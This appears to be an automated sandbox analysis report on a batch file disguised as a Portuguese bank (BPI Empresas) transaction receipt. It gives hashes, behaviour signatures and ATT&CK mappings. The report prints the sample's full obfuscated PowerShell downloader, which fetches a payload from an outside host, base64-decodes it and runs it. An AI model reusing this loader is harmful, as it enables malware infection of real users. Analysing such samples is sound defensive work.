a887a1ee3ca3cdaa17f0785a774432a68ba41aa9930fa41ac957dd10d467daed

Analysis

max time kernel
296s
max time network
302s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
17-10-2024 00:49

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Comprovativo-Operacao-App-BPI-Empresas PT6583658375.bat
Size

5KB
MD5

620c71177317e4d49759a6859b4cd0c1
SHA1

a0f7e36d02447e39061c05b3d57f0a23b0c1138d
SHA256

8dd5fd174ee703a43ab5084fdaba84d074152e46b84d588bf63f9d5cd2f673d1
SHA512

a48e32576ea4c2c076269ce26d12f650b90c40307c4049721af8940aea5a5b65cbbe3963a795784dd5f33a4634ebd5cc868f31a761a52d944d81f34905528d2d
SSDEEP

96:gwTiRaJK4FkWL9HVfpB1K4U0NA13Xloa+fHmzHCzAzmw18nvsB1b8Dj79Z6ZwPmx:KRGHCW5HVf1ub3aTmjC0zmw1hMHeZ6mx

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 64 IoCs

flow	pid	Process
5	1672	powershell.exe
6	1672	powershell.exe
7	1672	powershell.exe
8	1672	powershell.exe
9	1672	powershell.exe
10	1672	powershell.exe
11	1672	powershell.exe
12	1672	powershell.exe
13	1672	powershell.exe
14	1672	powershell.exe
15	1672	powershell.exe
16	1672	powershell.exe
17	1672	powershell.exe
18	1672	powershell.exe
19	1672	powershell.exe
20	1672	powershell.exe
21	1672	powershell.exe
22	1672	powershell.exe
23	1672	powershell.exe
24	1672	powershell.exe
25	1672	powershell.exe
26	1672	powershell.exe
27	1672	powershell.exe
28	1672	powershell.exe
29	1672	powershell.exe
30	1672	powershell.exe
31	1672	powershell.exe
32	1672	powershell.exe
33	1672	powershell.exe
34	1672	powershell.exe
35	1672	powershell.exe
36	1672	powershell.exe
37	1672	powershell.exe
38	1672	powershell.exe
39	1672	powershell.exe
40	1672	powershell.exe
41	1672	powershell.exe
42	1672	powershell.exe
43	1672	powershell.exe
44	1672	powershell.exe
45	1672	powershell.exe
46	1672	powershell.exe
47	1672	powershell.exe
48	1672	powershell.exe
49	1672	powershell.exe
50	1672	powershell.exe
51	1672	powershell.exe
52	1672	powershell.exe
53	1672	powershell.exe
54	1672	powershell.exe
55	1672	powershell.exe
56	1672	powershell.exe
57	1672	powershell.exe
58	1672	powershell.exe
59	1672	powershell.exe
60	1672	powershell.exe
61	1672	powershell.exe
62	1672	powershell.exe
63	1672	powershell.exe
64	1672	powershell.exe
65	1672	powershell.exe
66	1672	powershell.exe
67	1672	powershell.exe
68	1672	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1672	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1672	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1672	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1076 wrote to memory of 1672	1076	cmd.exe	31
PID 1076 wrote to memory of 1672	1076	cmd.exe	31
PID 1076 wrote to memory of 1672	1076	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Comprovativo-Operacao-App-BPI-Empresas PT6583658375.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden " <#Armill Koloniseredes Plait Bullfice #>;$Chancen='Ashiver';<#Contrefort Innoculating Biarcuated #>;$Enhedshistorie=$Defilement+$host.UI;function Kreditkort($Corrosible){If ($Enhedshistorie) {$Epistemologiske++;}$Kjolens=$Doksttendes+$Corrosible.'Length'-$Epistemologiske; for( $Rockskipper=4;$Rockskipper -lt $Kjolens;$Rockskipper+=5){$Chronometrically++;$Brsfiasko210+=$Corrosible[$Rockskipper];$Eksplosionsbranden67='Illusionerne';}$Brsfiasko210;}function Noumenality($Hydrognosy){ & ($Barskere) ($Hydrognosy);}$Urethrophyma=Kreditkort 'Pa aMDikooSkolz guriP.aslFrinl onia Ord/Over ';$Urethrophyma+=Kreditkort ' Me 5 U.d.Bevg0feri Duod(PeriWDrugi,asin AmpdVa mo Modw Dags Spe StjrN oldTFor Uns1Unbr0 T r.Udki0,ast;Py.e GalWSetii Skan Mo.6Rgni4 P e;P eu ValoxMona6 unc4For.;Asat FinrDelev to: Str1Scor3Li s1 gid.Di.d0St p)Hvss Ko gGBeboe npic nloksideoKont/Arac2Lseh0Mani1 st.0,ype0 Bli1Depe0Abor1Rnen Ph FDiseiSubtrPaetedatafEx ro rebx.oan/,brd1Lice3Pla,1Det .Slvf0Tabt ';$Helving=Kreditkort 'FnomUSs esAfteehypoRI ds-DasyaS.nigKondE unhNGrupTG at ';$Strictest=Kreditkort 'Sc mhOvertHulltCribp .ecs Tit:Di.s/ Ina/Ontowtabuwexplw mod.K ndmMesaiswatoHar.tsub.tIncoo ndeTelezHvira Sa,n aadeBra.l M llL.tia Luf.Paabc GenoIntemLuoi/Ka sW enkhSor.e vlelPilok ligl stei asik.ysteJent. eveh ntihArghkS ip ';$Udskrivningsprocenters=Kreditkort 'Sknk>Unc. ';$Barskere=Kreditkort 'OpsmiPnseeCarcX Liq ';$Rockskipperndsuget='botherer';$Rejektion='\Groundnut.Sne';Noumenality (Kreditkort ' osm$ An g verlAnmooHyduB,ladadkniLPege: Da H ManOObseLUd rDAboraWi hrFindb f.tEHuskj apiD Fe.Egudet mul=Stra$SterEUnsunP laV Sem:Sej A A cP Afvp Inhd RevA UrotpockA,rev+Uige$Cu ar EduESjipJS rpeForuk c.tT Brui.ispO DienBl,e ');Noumenality (Kreditkort ' Epi$Lserg fkllCento Pe bNeonAAccuLByld:St,nrsalahi,nuI ErizStumOEnt,tInfiiR secUnce= Sko$SemiSFre tundeREfteIYankCGibbtMinieos rsPjustTrsk.UndesNondPWorkLBawcIAssetgrns(S,ms$ Brau nmDPrd sAspiKOutmrJvnliQuaeV.nfrnNymaidi snRestGPeraselempS rmRAn.ooSk,lcBlaaeShennChaitI caETaglrLullSHist) Una ');Noumenality (Kreditkort ' Unt[ ersnToneeRealTsels..ektsPis E,ukkRR imvMeloIMet CDiloE TauPtidso HetiBrneNCrevtBoplMHydraCon,n CovAK.stGEcrueUn,aRPsal] Ups: Sea:Deprs GalEPhilc EpiUP,euRWarni I iTAntay H ePRhytrMagnoProjtCaneO,jerCseroOAdvoLunre Over=Ordh Fle[l ddnHypoeFgtetCome.Unals NitEpacicIntruCli r udI Ud tAfguyKu dPSnobreur OI olTs,ano TusCVenuOP fil ValtLecaYSab pOpdaEDaab]F,st:Stni:EproTDokuLKlveSStre1St m2.rem ');$Strictest=$Rhizotic[0];$undertegnelsen=(Kreditkort 'Rell$EndoGHeadl einO,bscB bokaDaa,lNo m:FrankBundlDiskAGlycG impESt ltR bsePilfMFor aLeonEAnt RBrnenSl vE NiksGn d=U ernSkumeDeprW yld-AzofO punBStu JSprgEMadsCMinitPho .orsSmagyAflvsRangTSabre Es.mHema.BaroN C aESnowTStet.ContwDinoeP lmBUnp cKen,lAnnoI psESpa nRas tRa,a ');Noumenality ($undertegnelsen);Noumenality (Kreditkort ' Mo $ uppKUtoplSektaTrkpgPlageans.tForleSp amSoota DrieAnatrG llnReape nkesFrak.HankHflyveBrn a T mdJen eMagnr DessSpe,[A,is$Fo mHOv re Ob,lRetav utsiAncin Ar gTorn] Tub=Traa$.avmUZed rc meeplantA,skhAlmerAbouoB lopO igh,agayCosymCailaBias ');$Afstber=Kreditkort ' Del$ TgnKW belSli.aTavsgBulneud,it ejleSalumBumsaFu peSickr afbnLurge NonsInfo. Li.DUnavo .liwKamgn odal,elioReimadisad GalFKliniForulBaybeSekt( Pin$TilbSGum tP asrunnaiSavecViratHoveeB.xisRolatU,ho, F.r$BarbACopif S pl upfeResovDeceeGldsr Jose Mel)Kamp ';$Aflevere=$Holdarbejdet;Noumenality (Kreditkort 'Pass$SdmlG LaiLTi hoRetfb WhiAUndelRefo:Wa hSBistUUnfofUnbefFdseU elsAtroEYobsSKarr= Lo (ZiartLeu ESkvaSFiskT .or-NonePTi.sa Tr TEnhaH dm Rkne$ orA.kvtfSemuLNedke ivvKniteSkk rTrffENonh) Fot ');while (!$Suffuses) {Noumenality (Kreditkort 'Blu $bo mgPetrl ecaoOve.bAlteaTw,slVask:IllaHBetiyHemol S yoC,rtzTwanoAntii SlusToastsk t=Pier$ SprtNordrEle,u Grae mim ') ;Noumenality $Afstber;Noumenality (Kreditkort ' Sp,s eritE liaStubr AfltFore-Pr tsScr.LLizaEgourELamepMaho Hi.4Stri ');Noumenality (Kreditkort 'Gede$VincgPapiLPomoOsjleBS deaelixl Tod:Bi.bs LanU edgfUndifDrosuAndesGu.de riaSFj r=Lent(ShorTP raeUnboSMiliTB na- AirP urA ubTGn dHSubs Trev$ Li AC unFUd olUrolEAfspV graEc,inrInc E acb)Quar ') ;Noumenality (Kreditkort ' uxo$UnorG Stel pseoKal BHackA ak,LIso :Ama.aHaraNCigaTFupniDekotUmish Diga ecolRef.ID gsASnusNBi.t=S.ha$TopaGMissLNephO DovBTracaDe.iLOpry: Renu rnnGogodFinaeUnfeRId aSFu tk estrfl aEPus,DFyldNHelleTaleS Sho1Sa a5A.hb2 Ved+Reak+Pare%Hamm$ pearRe,oH LatIaccezRingoFronTNocti K oCEuct. D bCR inO FunUKoncn ,uttMenn ') ;$Strictest=$Rhizotic[$Antithalian];}$Svindenes=301744;$Luftigheds=31316;Noumenality (Kreditkort 'Indu$dr eGBantL DemoForeBDigua U oLbrut:Leg BAnsaLHa sE Hi DExxb Komp=Vens Ned g ndeeAspiT snd-Lon.C DokOTot nPro tRe,sE BagNB llTKell Pap$GearaMaurF,onsLobjeeApnovRy kEIndbrScriEUnd, ');Noumenality (Kreditkort 'Smin$EskegThymlAriao Unib AbeaAk.dlInte:DeviA P vuSludt .proTh,mbKa.ai apoNimbgYnglrNonrafo.sp ildhTegnaWintlCivi1A.me2Nekt Unst=N mi Afte[ riSPar.y ogns G utKir e balmNexo.WechCExpaosummnDamev Pr.eFascr uetJamm]Slen:Kong:S oiF Kvar elioUdn mHexaBSkaaaKancsM steDeve6Suss4NonsSR pat etrSnvsiLorenP,ogg Kon(K li$,kseB ErhlBur.eNestdCoba)Affa ');Noumenality (Kreditkort 'Forp$ub,kg.usslReadoMarlbCubmAHavelsymb: Invr LssEjeepf felu,ntuS.emiIBisaODeriND.oxsO sesKir.a nivLGjo Dpor,o steS Sta2Sy a0Euge7 am .isp= .rt Prol[StrkSUnivY ollSCongTT,rbeVoldMtenj. .ocTsum.EAntiXOverTG.nn. esEFamin RedcKo lo MusD envITideNChu GLing]Plan:G nb: stiAGingsMinic SkaIAwesiEpit. CongSkavePummTRdbesEkspt.userEpicI aagNDo.bgMell(En,o$LarnaBur uDisktVa fOSwagbU,elIB.otoGenngCh oRRok.AInvep rh.hUdspa T nLMil 1Clot2St,f)Napa ');Noumenality (Kreditkort 'elek$Oming Magl H roBillbAr iaModelTota: Bgesodo AUndesP noIh.zza,ell= Dum$RoerrFrugE GlaFVictUAgresAlibICoexo orNEjecsGangsCynoAHoveLRectdOpsto ObbsTagp2 Sle0Bred7 Ing.HypeS Sniucl wbUnprsWhirTSirtRSulfiBesrNChl,ghaem(Hvid$ quasBestV Se,IAmbenTotaD ReaeUdsknTripeUp asDemo,Rept$ Sp L UndUEksaFAsieTBlomIBleeGAtomH L,jeTyngD MirS Gy )R.fo ');Noumenality $Sasia;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1672-4-0x000007FEF60AE000-0x000007FEF60AF000-memory.dmp

Filesize
4KB

Download
memory/1672-5-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/1672-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/1672-7-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/1672-8-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/1672-9-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/1672-10-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/1672-11-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/1672-12-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/1672-13-0x000007FEF60AE000-0x000007FEF60AF000-memory.dmp

Filesize
4KB

Download
memory/1672-14-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download